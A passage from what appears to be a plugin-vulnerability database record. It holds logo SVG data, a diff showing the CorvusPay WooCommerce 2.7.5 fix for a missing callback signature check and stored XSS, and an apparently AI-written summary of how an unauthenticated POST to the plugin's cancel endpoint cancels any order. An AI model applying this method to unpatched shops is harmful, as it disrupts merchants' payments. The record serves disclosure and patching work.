6.432,-0.327 2.009,-0.217 3.936,-0.434 5.783,-0.652 2.278,-0.216 4.287,-0.433 6.024,-0.65 1.736,-0.217 3.473,-0.326 5.211,-0.326 2.172,0 4.506,0.191 7.003,0.57 2.497,0.379 5.156,1.331 7.979,2.85 l -12.213,-55.694 c -0.218,-0.978 -0.461,-2.063 -0.733,-3.257 -0.27,-1.195 -0.407,-2.389 -0.407,-3.583 0,-1.412 0.38,-2.606 1.14,-3.582 0.76,-0.978 2.226,-1.467 4.397,-1.467 1.193,0 2.443,0.136 3.745,0.408 1.304,0.271 2.552,0.623 3.746,1.059 l -11.563,-14.983 c -2.497,-1.302 -4.912,-2.171 -7.246,-2.604 -2.334,-0.435 -4.588,-0.652 -6.758,-0.652 -1.194,0 -2.795,0.108 -4.804,0.325 -2.009,0.217 -3.964,0.869 -5.862,1.954 -1.901,1.086 -3.529,2.742 -4.887,4.967 -1.357,2.226 -2.036,5.347 -2.036,9.363 0,0.761 0.056,1.467 0.164,2.118 0.108,0.651 0.245,1.412 0.407,2.281 0.163,0.867 0.38,1.899 0.651,3.094 0.272,1.193 0.624,2.713 1.059,4.559 l 8.305,36.966 c -0.869,0.544 -2.008,1.114 -3.42,1.71 -1.412,0.597 -2.931,0.895 -4.56,0.895 -2.93,0 -5.754,-1.166 -8.467,-3.501 -2.715,-2.334 -5.076,-5.319 -7.085,-8.955 -2.008,-3.637 -3.609,-7.709 -4.804,-12.215 -1.194,-4.505 -1.79,-8.93 -1.79,-13.272 0,-5.102 1.357,-8.766 4.071,-10.992 2.713,-2.226 5.916,-3.338 9.608,-3.338 0.543,0 1.004,0.027 1.383,0.082 0.38,0.053 0.734,0.134 1.059,0.243 z\"   style=\"fill:#c5161d;fill-opacity:1;fill-rule:evenodd;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1093.4381,523.22053)\" \u002F>\u003Cpath   id=\"path9\"   d=\"m 0,0 c -1.194,-0.325 -2.579,-0.651 -4.155,-0.977 -1.572,-0.325 -3.445,-0.488 -5.618,-0.488 -3.583,0 -7.056,0.543 -10.421,1.628 -3.367,1.085 -6.379,2.768 -9.039,5.049 -2.659,2.279 -4.777,5.265 -6.351,8.957 -1.574,3.691 -2.36,8.143 -2.36,13.353 0,3.256 0.325,6.676 0.976,10.259 0.653,3.582 1.683,7.166 3.096,10.748 1.41,3.583 3.284,7.085 5.618,10.504 2.333,3.42 5.128,6.594 8.386,9.527 1.954,1.737 4.098,3.393 6.432,4.966 2.334,1.574 4.993,2.932 7.98,4.071 2.984,1.14 6.297,2.064 9.934,2.769 3.637,0.706 7.735,1.059 12.294,1.059 2.279,0 4.423,-0.109 6.432,-0.326 2.009,-0.218 3.937,-0.435 5.782,-0.652 2.279,-0.216 4.288,-0.434 6.026,-0.651 1.735,-0.217 3.473,-0.325 5.209,-0.325 2.172,0 4.506,0.19 7.004,0.57 2.498,0.378 5.157,1.331 7.98,2.849 L 42.989,27.197 c -0.216,-0.979 -0.46,-2.064 -0.731,-3.258 -0.271,-1.194 -0.406,-2.388 -0.406,-3.583 0,-1.411 0.38,-2.606 1.137,-3.581 0.763,-0.979 2.227,-1.468 4.398,-1.468 1.194,0 2.443,0.137 3.746,0.409 1.304,0.27 2.553,0.623 3.747,1.059 L 43.317,1.791 c -2.498,-1.302 -4.912,-2.171 -7.246,-2.604 -2.334,-0.435 -4.588,-0.652 -6.76,-0.652 -1.194,0 -2.795,0.108 -4.803,0.325 -2.009,0.218 -3.963,0.869 -5.863,1.954 -1.899,1.087 -3.528,2.743 -4.886,4.968 -1.356,2.225 -2.035,5.347 -2.035,9.363 0,0.761 0.055,1.466 0.162,2.117 0.109,0.651 0.247,1.412 0.408,2.281 0.162,0.868 0.38,1.9 0.651,3.094 0.273,1.193 0.624,2.714 1.059,4.56 l 8.305,36.966 c -0.869,0.543 -2.009,1.113 -3.419,1.709 -1.413,0.597 -2.932,0.895 -4.561,0.895 -2.93,0 -5.753,-1.166 -8.467,-3.501 -2.714,-2.334 -5.076,-5.318 -7.085,-8.955 -2.008,-3.637 -3.609,-7.709 -4.803,-12.214 -1.194,-4.506 -1.793,-8.93 -1.793,-13.273 0,-5.102 1.358,-8.766 4.072,-10.992 2.714,-2.225 5.917,-3.338 9.609,-3.338 0.542,0 1.005,0.027 1.384,0.082 0.38,0.053 0.732,0.134 1.059,0.243 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,994.5084,689.72373)\" \u002F>\u003Cpath   id=\"path10\"   d=\"m 0,0 c -5.321,-2.496 -10.478,-4.151 -15.471,-4.967 -4.993,-0.813 -9.77,-1.22 -14.329,-1.22 -9.338,0 -17.238,1.383 -23.696,4.151 -6.458,2.77 -11.698,6.406 -15.715,10.912 -4.018,4.504 -6.948,9.663 -8.793,15.47 -1.847,5.809 -2.768,11.753 -2.768,17.833 0,4.777 0.461,9.635 1.382,14.574 0.924,4.939 2.336,9.771 4.236,14.493 1.899,4.724 4.288,9.201 7.163,13.435 2.878,4.235 6.216,8.035 10.017,11.399 7.273,6.406 15.008,10.722 23.204,12.948 8.199,2.226 16.369,3.338 24.511,3.338 4.017,0 8.305,-0.299 12.864,-0.896 4.561,-0.597 9.554,-1.819 14.982,-3.664 L 14.818,83.704 c -2.17,2.931 -4.504,5.185 -7.002,6.759 -2.498,1.574 -4.886,2.741 -7.165,3.501 -2.28,0.76 -4.317,1.221 -6.107,1.384 -1.791,0.163 -3.068,0.244 -3.828,0.244 -4.884,0 -9.661,-1.194 -14.329,-3.582 -4.667,-2.389 -8.794,-5.809 -12.377,-10.26 -3.583,-4.45 -6.461,-9.879 -8.63,-16.285 -2.173,-6.405 -3.258,-13.679 -3.258,-21.821 0,-1.085 0.081,-2.66 0.244,-4.723 0.162,-2.062 0.516,-4.315 1.059,-6.757 0.544,-2.445 1.385,-4.941 2.524,-7.492 1.14,-2.552 2.743,-4.886 4.803,-7.002 2.064,-2.118 4.614,-3.828 7.655,-5.13 3.04,-1.303 6.731,-1.955 11.074,-1.955 0.869,0 2.225,0.056 4.07,0.164 1.847,0.109 4.155,0.542 6.923,1.303 2.769,0.759 5.972,1.9 9.607,3.419 3.637,1.52 7.681,3.692 12.132,6.514 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,915.90573,683.42693)\" \u002F>\u003Cpath   id=\"path11\"   d=\"m 0,0 c 1.847,0 4.046,0.272 6.596,0.816 2.55,0.542 4.587,1.302 6.107,2.279 l -20.03,-90.706 c -0.544,-2.173 -0.869,-3.773 -0.978,-4.805 -0.107,-1.031 -0.162,-1.71 -0.162,-2.036 0,-1.194 0.216,-2.116 0.651,-2.767 0.434,-0.652 0.923,-1.141 1.467,-1.466 0.541,-0.326 1.137,-0.543 1.79,-0.652 0.651,-0.108 1.249,-0.164 1.791,-0.164 0.869,0 1.927,0.082 3.176,0.245 1.249,0.164 2.85,0.571 4.804,1.223 l -11.725,-14.983 c -2.932,-1.52 -5.591,-2.442 -7.98,-2.769 -2.388,-0.325 -4.343,-0.488 -5.862,-0.488 -3.801,0 -6.84,0.488 -9.12,1.465 -2.279,0.977 -4.046,2.226 -5.292,3.747 -1.249,1.519 -2.063,3.174 -2.443,4.966 -0.38,1.791 -0.57,3.502 -0.57,5.13 0,1.954 0.19,3.88 0.57,5.781 0.38,1.899 0.895,4.424 1.548,7.573 l 7.977,36.64 c -1.626,1.304 -3.093,2.117 -4.394,2.444 -1.304,0.325 -2.389,0.486 -3.258,0.486 -2.932,0 -5.701,-1.165 -8.305,-3.501 -2.605,-2.334 -4.887,-5.318 -6.841,-8.954 -1.954,-3.638 -3.473,-7.737 -4.559,-12.297 -1.087,-4.56 -1.628,-9.011 -1.628,-13.353 0,-1.194 0.109,-2.579 0.325,-4.153 0.216,-1.575 0.76,-3.122 1.629,-4.641 0.869,-1.52 2.118,-2.795 3.744,-3.826 1.629,-1.032 3.908,-1.548 6.841,-1.548 0.65,0 1.194,0.028 1.628,0.082 0.435,0.054 0.869,0.134 1.301,0.243 l -8.628,-15.144 c -3.151,-0.76 -6.46,-1.14 -9.934,-1.14 -1.413,0 -3.666,0.217 -6.757,0.652 -3.096,0.433 -6.19,1.601 -9.284,3.5 -3.094,1.901 -5.808,4.833 -8.144,8.794 -2.334,3.963 -3.5,9.473 -3.5,16.529 0,7.708 1.575,15.2 4.723,22.474 3.148,7.274 7.6,13.516 13.353,18.728 5.646,5.101 11.264,8.413 16.855,9.933 5.592,1.519 11.21,2.28 16.856,2.28 2.17,0 3.962,-0.053 5.373,-0.164 1.413,-0.108 3.528,-0.434 6.351,-0.977 l 3.094,13.517 c 0.869,3.475 1.384,6.026 1.545,7.654 0.164,1.629 0.248,2.715 0.248,3.257 0,1.412 -0.219,2.985 -0.654,4.722 -0.434,1.738 -1.683,3.528 -3.744,5.374 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1282.4215,536.64653)\" \u002F>\u003Cpath   id=\"path12\"   d=\"m 0,0 c 23.104,-48.987 71.897,-78.523 127.259,-78.523 70.137,0 135.31,47.11 158.324,112.164 -27.323,-79.542 -101.25,-132.98 -180.809,-132.98 -62.801,0 -118.145,33.504 -145.844,88.566 l 10.363,16.286 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,777.15667,724.02173)\" \u002F>\u003Cpath   id=\"path13\"   d=\"m 0,0 h -70.429 v 21.396 c 0,19.435 15.75,35.245 35.185,35.245 C -15.75,56.641 0,40.831 0,21.396 Z m -27.886,-55.971 6.374,-22.039 h -26.746 l 5.67,22.039 h 0.123 c -4.803,2.595 -8.104,7.614 -8.104,13.456 0,8.48 6.875,15.354 15.354,15.354 8.48,0 15.354,-6.874 15.354,-15.354 0,-5.842 -3.301,-10.861 -8.104,-13.456 z M 17.177,0 v 25.438 c -0.12,1.664 -0.298,3.328 -0.595,4.992 -4.279,24.725 -25.854,43.565 -51.826,43.565 -25.913,0 -47.488,-18.84 -51.768,-43.565 -0.534,-2.912 -0.772,-5.943 -0.772,-9.034 V 0 c -9.45,-0.119 -16.998,-7.726 -16.998,-17.117 v -72.212 c 0,-9.51 7.667,-17.177 17.176,-17.177 H 17.177 c 9.449,0 17.176,7.667 17.176,17.177 v 72.212 C 34.353,-7.667 26.626,0 17.177,0\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1502.3944,564.5552)\" \u002F> \u003C\u002Fg> \u003C\u002Fg>\u003C\u002Fsvg>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fcorvuspay-woocommerce-integration.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fcorvuspay-woocommerce-integration.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fcorvuspay-woocommerce-integration.php\t2026-05-18 12:47:06.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fcorvuspay-woocommerce-integration.php\t2026-06-18 09:41:54.000000000 +0000\n@@ -3,7 +3,7 @@\n  * Plugin Name: CorvusPay WooCommerce Payment Gateway\n  * Plugin URI: https:\u002F\u002Fwww.corvuspay.com\u002F\n  * Description: Extends WooCommerce with CorvusPay Credit Card payments.\n- * Version: 2.7.4\n+ * Version: 2.7.5\n  * Author: Corvus Pay d.o.o.\n  * Author URI: https:\u002F\u002Fwww.corvuspay.com\u002F\n  * Copyright: © 2026 Corvus Pay\n@@ -24,7 +24,7 @@\n }\n \n define( 'WC_CORVUSPAY_SETTINGS_VERSION', 4 );\n-define( 'WC_CORVUSPAY_VERSION', '2.7.4' );\n+define( 'WC_CORVUSPAY_VERSION', '2.7.5' );\n define( 'WC_CORVUSPAY_FILE', __FILE__ );\n define( 'WC_CORVUSPAY_PATH', dirname( __FILE__ ) );\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fincludes\u002Fclass-wc-gateway-corvuspay.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fincludes\u002Fclass-wc-gateway-corvuspay.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fincludes\u002Fclass-wc-gateway-corvuspay.php\t2026-04-14 07:05:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fincludes\u002Fclass-wc-gateway-corvuspay.php\t2026-06-18 09:41:54.000000000 +0000\n@@ -779,7 +779,7 @@\n \t\ttry {\n \t\t\t$this->log->debug( 'Enter corvuspay_cancel_handler $_POST: ' . wp_json_encode( $_POST ) );\n \n-\t\t\t$order = new WC_Order_CorvusPay( $this->log, $this->options, 'callback' );\n+\t\t\t$order = new WC_Order_CorvusPay( $this->log, $this->options, 'callback-signed' );\n \n \t\t\t$this->log->info( 'Cancel URL for Order ' . $order->get_id() . '.' );\n \n@@ -1710,7 +1710,7 @@\n \t\tif ( isset( $approval_code ) && isset( $transaction_date ) ) {\n \t\t\techo '\u003Cp>' . __( 'Payment successful - payment card account debited.', 'corvuspay-woocommerce-integration' ) . '\u003C\u002Fp>\n                   \u003Cul>\n-                    \u003Cli>' . __( 'Approval code: ', 'corvuspay-woocommerce-integration' ) . $approval_code . ' \u003C\u002Fli>\n+                    \u003Cli>' . __( 'Approval code: ', 'corvuspay-woocommerce-integration' ) . esc_html( $approval_code ) . ' \u003C\u002Fli>\n                     \u003Cli>' . __( 'Transaction date and time: ', 'corvuspay-woocommerce-integration' ) . $transaction_date . '\u003C\u002Fli>\n                   \u003C\u002Ful>';\n \t\t}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fincludes\u002Fclass-wc-order-corvuspay.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fincludes\u002Fclass-wc-order-corvuspay.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fincludes\u002Fclass-wc-order-corvuspay.php\t2024-05-16 11:45:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fincludes\u002Fclass-wc-order-corvuspay.php\t2026-06-18 09:41:54.000000000 +0000\n@@ -174,20 +174,31 @@\n \t        $post_id = $this->get_post_by_corvuspay_order_number( $this->parameters['order_number'] );\n \n \t        if ( null === $post_id ) {\n-\t\t        $this->log->error( 'The parameter $post_id is null. There is no post with \n+\t\t        $this->log->error( 'The parameter $post_id is null. There is no post with\n \t\t        _corvuspay_order_number equals ' . $this->parameters['order_number'] );\n \t        }\n \n \t        parent::__construct( $post_id );\n-\t\t\t\n-\t\t\tif ( 'callback-signed' === $type ) {\n-\t\t\t\tif ( isset( $this->parameters[\"approval_code\"] ) && $this->parameters[\"approval_code\"] != null ) {\n-\t\t\t\t\t$this->update_meta_data( '_corvuspay_approval_code', $this->parameters[\"approval_code\"] );\n-\t\t\t\t\t$this->update_meta_data( '_corvuspay_transaction_date', current_time( \"d.m.Y H:i:s\" ) );\n-\t\t\t\t}\n+\n+            if ( 'callback-signed' === $type ) {\n                 $res = $this->client->validate->signature( $this->parameters );\n-                $this->log->debug( 'Result from signature validation: ' . $res );\n-\t\t\t}\n+                $this->log->debug( 'Result from signature validation: ' . ( $res ? 'true' : 'false' ) );\n+\n+                if ( ! $res ) {\n+                    throw new Exception( 'Invalid CorvusPay signature.' );\n+                }\n+\n+                if ( isset( $this->parameters['approval_code'] ) && null !== $this->parameters['approval_code'] ) {\n+                    $this->update_meta_data(\n+                        '_corvuspay_approval_code',\n+                        sanitize_text_field( $this->parameters['approval_code'] )\n+                    );\n+                    $this->update_meta_data(\n+                        '_corvuspay_transaction_date',\n+                        current_time( 'd.m.Y H:i:s' )\n+                    );\n+                }\n+            }\n \t\t} elseif ( 'api' === $type || 'api-status' === $type || 'api-renew' === $type ) {\n \t        \u002F* Existing order for API *\u002F\n \t        parent::__construct( $order );\n@@ -699,7 +710,7 @@\n      * Get post by meta value when meta key is \"_corvuspay_order_number\".\n      *\n      * @param string $corvuspay_order_number\n-     * \n+     *\n      * @return int|null id of last post with '_corvuspay_order_number' == $corvuspay_order_number or null if not exists.\n      *\u002F\n \tprivate function get_post_by_corvuspay_order_number( $corvuspay_order_number ) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Flanguages\u002Fcorvuspay-woocommerce-integration.pot \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Flanguages\u002Fcorvuspay-woocommerce-integration.pot\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Flanguages\u002Fcorvuspay-woocommerce-integration.pot\t2026-04-14 07:05:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Flanguages\u002Fcorvuspay-woocommerce-integration.pot\t2026-06-18 09:41:54.000000000 +0000\n@@ -2,7 +2,7 @@\n # This file is distributed under the same license as the CorvusPay WooCommerce Payment Gateway plugin.\n msgid \"\"\n msgstr \"\"\n-\"Project-Id-Version: CorvusPay WooCommerce Payment Gateway 2.7.3\\n\"\n+\"Project-Id-Version: CorvusPay WooCommerce Payment Gateway 2.7.5\\n\"\n \"Report-Msgid-Bugs-To: https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fcorvuspay-woocommerce-integration\\n\"\n \"Last-Translator: FULL NAME \u003CEMAIL@ADDRESS>\\n\"\n \"Language-Team: LANGUAGE \u003CLL@li.org>\\n\"\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Freadme.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Freadme.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Freadme.txt\t2026-05-18 12:47:06.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Freadme.txt\t2026-06-18 09:41:54.000000000 +0000\n@@ -3,7 +3,7 @@\n Tags: payment, credit card, corvuspay, woocommerce\n Requires at least: 6.0\n Tested up to: 7\n-Stable tag: 2.7.4\n+Stable tag: 2.7.5\n Requires PHP: 7.4\n License: GNU General Public License v2.0 (or later)\n License URI: http:\u002F\u002Fwww.gnu.org\u002Flicenses\u002Fgpl-2.0.html\n@@ -125,6 +125,11 @@\n 10. CorvusPay Wallet stored credit card.\n \n == Changelog ==\n+= 2.7.5 =\n+* Changed: New version of DinaCard logo.\n+* Improved: Added signature validation for CorvusPay success and cancel callback requests to prevent unauthorized order completion and cancellation.\n+* Improved: Prevented stored XSS via approval_code by validating callback signatures before storing data, sanitizing approval_code values, and escaping output in order details and emails.\n+\n = 2.7.4 =\n * Changed: Removed unnecessary PHP SDK folders\u002Ffiles (examples, assets, configuration files) and updated WordPress 7 compatibility.\n \n","The exploit targets the publicly accessible REST API endpoint at `\u002Fwp-json\u002Fcorvuspay\u002Fcancel\u002F` or the legacy WooCommerce API hook `woocommerce_api_corvuspay-cancel`. An attacker sends a POST request to this endpoint containing a valid WooCommerce `order_number`. Because the plugin's REST route registration uses `'permission_callback' => '__return_true'` and the cancellation handler fails to verify the CorvusPay HMAC signature (by using the unsigned 'callback' routine instead of 'callback-signed'), the plugin will transition the status of the specified order to 'cancelled' without requiring any authentication or proof that the request originated from the payment provider.","gemini-3-flash-preview","2026-07-15 22:17:11","2026-07-15 22:17:56",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","2.7.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.7.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.7.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.7.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.7.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcorvuspay-woocommerce-integration\u002Ftags"]